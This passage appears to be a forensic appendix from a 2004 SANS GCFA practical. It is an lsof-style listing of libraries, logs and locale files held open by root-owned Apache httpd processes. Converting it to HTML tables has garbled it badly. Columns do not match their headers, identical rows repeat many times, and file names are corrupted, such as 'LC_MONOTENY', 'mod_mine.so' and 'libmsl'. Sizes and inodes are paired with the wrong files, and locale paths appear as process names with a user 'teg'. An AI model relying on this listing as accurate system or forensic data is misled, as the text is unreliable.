<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>14929 229516 /usr/lib/apache/mod_mine.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>27415 229519 /usr/lib/apache/mod_negotiation.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>18365 229523 /usr/lib/apache/mod_status.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>19959 229512 /usr/lib/apache/mod_info.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>14940 229496 /usr/lib/apache/mod_asis.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>15974 229510 /usr/lib/apache/mod_inmap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>8541 229494 /usr/lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>8770 229525 /usr/lib/apache/mod_userdir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>10617 229495 /usr/lib/apache/mod_alias.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>53189 229520 /usr/lib/apache/mod_rewrite.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>10034 229493 /usr/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>11985 229497 /usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>8486 229498 /usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>9304 229499 /usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Type</td>
<td>Flags</td>
<td>PID</td>
<td>Priority</td>
</tr>
<tr>
<td>---------</td>
<td>------</td>
<td>------</td>
<td>-------</td>
<td>-----</td>
<td>----------</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>3,2</td>
</tr>
</tbody>
</table>
httpd 10606 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 10606 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 10606 root mem REG 3,2 9304 229507 /usr/lib/apache/mod_headers.so
httpd 10606 root mem REG 3,2 9176 229521 /usr/lib/apache/mod_setenvif.so
httpd 10606 root mem REG 3,2 92407 440046 /usr/kerberos/lib/libgssapi_krb5.so.2.2
httpd 10606 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 10606 root mem REG 3,2 92407 440046 /usr/kerberos/lib/libgssapi_krb5.so.2.2
httpd 10606 root mem REG 3,2 122952 229529 /usr/lib/apache/libdav.so
httpd 10606 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 10606 root mem REG 3,2 1453198 425001 /usr/lib/php4/imap.so
httpd 10606 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
httpd 10606 root mem REG 3,2 29 130312 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
httpd 10606 root mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE
httpd 10606 root mem REG 3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 10606 root mem REG 3,2 83 130314 /usr/lib/locale/en_US.iso885915/LC_HOME
httpd 10606 root mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 10606 root mem REG 3,2 292 130313 /usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 10606 root mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 10606 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0
httpd 10606 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
httpd 10606 root mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>PID</th>
<th>Mode</th>
<th>UID</th>
<th>GID</th>
<th>File Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>10606</td>
<td>1w</td>
<td>3,1</td>
<td>3,1</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10606</td>
<td>2w</td>
<td>3,6</td>
<td>3,6</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10606</td>
<td>3u</td>
<td>3,6</td>
<td>0</td>
<td>/tmp/session_mm_apache0.semm</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10606</td>
<td>4u</td>
<td>3,5</td>
<td>0</td>
<td>/var/run/httpd.mm.mm.8124.semm</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10606</td>
<td>5w</td>
<td>3,6</td>
<td>1729</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10606</td>
<td>16u</td>
<td>3,3</td>
<td>5</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10606</td>
<td>17u</td>
<td>3,3</td>
<td>5</td>
<td>/var/log/httpd/access_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>cwd</td>
<td>3,5</td>
<td>1024</td>
<td>/usr/sbin/httpd</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>rtd</td>
<td>3,5</td>
<td>1024</td>
<td>/etc/httpd</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>9883</td>
<td>/usr/lib/apache/mod_vhost_alias.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>8301</td>
<td>/usr/lib/apache/mod_env.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>7438</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>8530</td>
<td>/usr/lib/apache/mod_log_referer.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>371</td>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>8274</td>
<td>/usr/lib/apache/mod_dir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>371</td>
<td>/usr/lib/apache/mod_rewrite.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>15974</td>
<td>/usr/lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>14940</td>
<td>/usr/lib/apache/mod_cgi.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>6924</td>
<td>/usr/lib/apache/mod_asls.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>15974</td>
<td>/usr/lib/apache/mod_info.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>8541</td>
<td>/usr/lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>8770</td>
<td>/usr/lib/apache/mod_userdir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>10617</td>
<td>/usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>53189</td>
<td>/usr/lib/apache/mod_rewrite.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>10034</td>
<td>/usr/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>11985</td>
<td>/usr/lib/apache/mod_auth.ldap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>8486</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>9304</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>9900</td>
<td>/usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>8261</td>
<td>/usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>10176</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>92407</td>
<td>/usr/lib/kerberos/libdbd.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>11174</td>
<td>/usr/lib/kerberos/libdbd.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>122952</td>
<td>/usr/lib/apache/libdbd.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>210094</td>
<td>/usr/lib/apache/libdbd.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>1453198</td>
<td>/usr/lib/apache/libdbd.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>10034</td>
<td>/usr/lib/apache/libdbd.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>20666</td>
<td>/usr/lib/apache/libdbd.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>29</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>65</td>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>161</td>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>83</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>40</td>
<td>/usr/lib/kerberos/libdbd.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>58</td>
<td>/usr/lib/kerberos/libdbd.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>3,2</td>
<td>179360</td>
<td>/usr/lib/kerberos/libdbd.so</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Kevin Miller - Sans GCFA Assignment – v1.4  Page 140

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Command</th>
<th>Arguments</th>
<th>Permissions</th>
<th>User ID</th>
<th>UGID</th>
<th>Group ID</th>
<th>Size</th>
<th>Type</th>
<th>Inode</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 292</td>
<td>130313</td>
<td>10607</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONOTENY</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 22592</td>
<td>130323</td>
<td>10607</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 89424</td>
<td>63507</td>
<td>/lib/libmsl-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 1561021</td>
<td>229551</td>
<td>/usr/lib/apache/libphp4.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 35340</td>
<td>63567</td>
<td>/lib/libpam.so.0.75</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 28138</td>
<td>66033</td>
<td>/usr/lib/libtdi.so.3.1.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 5300</td>
<td>66039</td>
<td>/usr/lib/libspell-modules.so.1.0.1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 426442</td>
<td>65304</td>
<td>/usr/lib/libstdc++-4++-libc6.2.2-2.10.0.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 131560</td>
<td>65396</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 59778</td>
<td>65358</td>
<td>/usr/lib/libz.so.1.1.3</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 146819</td>
<td>66089</td>
<td>/usr/lib/libcurl.so.2.0.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 924879</td>
<td>63562</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 207008</td>
<td>63563</td>
<td>/lib/libssl.so.0.9.6b</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 68925</td>
<td>63535</td>
<td>/lib/libresolv-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 153026</td>
<td>66042</td>
<td>/usr/lib/libspell.so.4.0.3</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 290511</td>
<td>66311</td>
<td>/usr/lib/libncurses.so.5.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 215482</td>
<td>6386</td>
<td>/usr/lib/libgmp.so.3.2.1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 196866</td>
<td>66287</td>
<td>/usr/lib/libgd.so.1.8.4</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 717774</td>
<td>65437</td>
<td>so /usr/lib/libxml2.so.2.4.19</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 66646</td>
<td>65263</td>
<td>/usr/lib/libbz2.so.1.0.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 189626</td>
<td>65384</td>
<td>/usr/lib/libttf.so.2.3.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 295833</td>
<td>65382</td>
<td>/usr/lib/libfreetype.so.6.3.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 79725</td>
<td>440048</td>
<td>/usr/lib/libjpeg.so.6.2.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 131560</td>
<td>65396</td>
<td>/usr/lib/libpng.so.2.1.0.12</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 59778</td>
<td>65358</td>
<td>/usr/lib/libz.so.1.1.3</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 146819</td>
<td>66089</td>
<td>/usr/lib/libcurl.so.2.0.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 924879</td>
<td>63562</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 207008</td>
<td>63563</td>
<td>/lib/libssl.so.0.9.6b</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 68925</td>
<td>63535</td>
<td>/lib/libresolv-2.2.5.so</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 153026</td>
<td>66042</td>
<td>/usr/lib/libspell.so.4.0.3</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 290511</td>
<td>66311</td>
<td>/usr/lib/libncurses.so.5.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 215482</td>
<td>6386</td>
<td>/usr/lib/libgmp.so.3.2.1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 196866</td>
<td>66287</td>
<td>/usr/lib/libgd.so.1.8.4</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 717774</td>
<td>65437</td>
<td>so /usr/lib/libxml2.so.2.4.19</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 66646</td>
<td>65263</td>
<td>/usr/lib/libbz2.so.1.0.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 189626</td>
<td>65384</td>
<td>/usr/lib/libttf.so.2.3.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 295833</td>
<td>65382</td>
<td>/usr/lib/libfreetype.so.6.3.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem REG</td>
<td>3,2 79725</td>
<td>440048</td>
<td>/usr/lib/libjpeg.so.6.2.0.0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MONEY</td>
<td>teg</td>
<td>mem REG</td>
<td>3,2 146819</td>
<td>66089</td>
<td>/usr/lib/libcurl.so.2.0.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>teg</td>
<td>mem REG</td>
<td>3,2 146819</td>
<td>66089</td>
<td>/usr/lib/libcurl.so.2.0.2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
